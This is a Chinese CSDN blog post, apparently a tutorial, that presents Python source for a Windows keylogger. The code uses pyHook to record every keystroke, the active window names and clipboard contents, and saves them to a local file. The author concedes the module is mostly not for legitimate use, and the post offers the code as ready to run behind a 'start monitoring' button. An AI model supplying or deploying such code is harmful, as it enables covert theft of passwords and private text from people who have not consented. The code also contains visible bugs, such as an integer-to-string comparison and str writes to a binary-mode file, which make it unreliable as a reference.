Python实战-获取鼠标键盘事件

  • 这里主要使用的模块是pyhook。
  • 原理非常简单,在windows操作系统下的任何操作会被钩子钩住,当我的得到我想要的信息之后再将原来的消息发送出去,我截取了我想要的消息。
  • 这里推荐使用pyHook3,因为这个模块的功能基本上不是正当用途,所以pip和conda直接安装是找不到的。还有就是界面设计由于不是重点,我就使用的Tkinter最基础的实现,非常简单。
# 1.注册钩子管理器
# 2.写回调函数
# 3.勾住事件
# 4.pump消息输送出去
# 5.特殊处理如ctrl+c
import pyHook
import pythoncom
import tkinter
import win32clipboard
key_board_log = r'D:/zc.txt'
window_name_before = None


def getClipBoardValues():
    # 获取粘贴板内容
    win32clipboard.OpenClipboard()
    value = win32clipboard.GetClipboardData()
    win32clipboard.CloseClipboard()
    return value


def onKeyDown(event):
    # 按键事件
    global window_name_before
    win_name = ''
    if event.WindowName != window_name_before:
        window_name_before = event.WindowName
        win_name = '{}\n'.format(window_name_before)
        value = ''
    if event.Ascii > 32 and event.Ascii <127:
        value = chr(event.Ascii)
    elif event.Ascii == "V":
        value = getClipBoardValues()
    else:
        value = "{}".format(str(event.key))
    with open(key_board_log, 'ab+') as f:
        f.writelines(win_name)
        f.write(value)
    return True


def start():
    # 注册管理器
    pyhm = pyHook.HookManager()
    # 回调函数
    pyhm.KeyDown = onKeyDown
    # 勾住事件
    pyhm.HookKeyboard()
    # 输送出去
    pythoncom.PumpMessages()


def create_frame():
    base = tkinter.Tk()
    base.wm_title("Frame")
    btn = tkinter.Button(base, text="开始监控", command=start)
    btn.pack()
    base.mainloop()


if __name__ == '__main__':
    create_frame()
  • 注意:pyhook在python3下可能有问题。 

 

已标记关键词 清除标记
©️2020 CSDN 皮肤主题: 博客之星2020 设计师:CY__0809 返回首页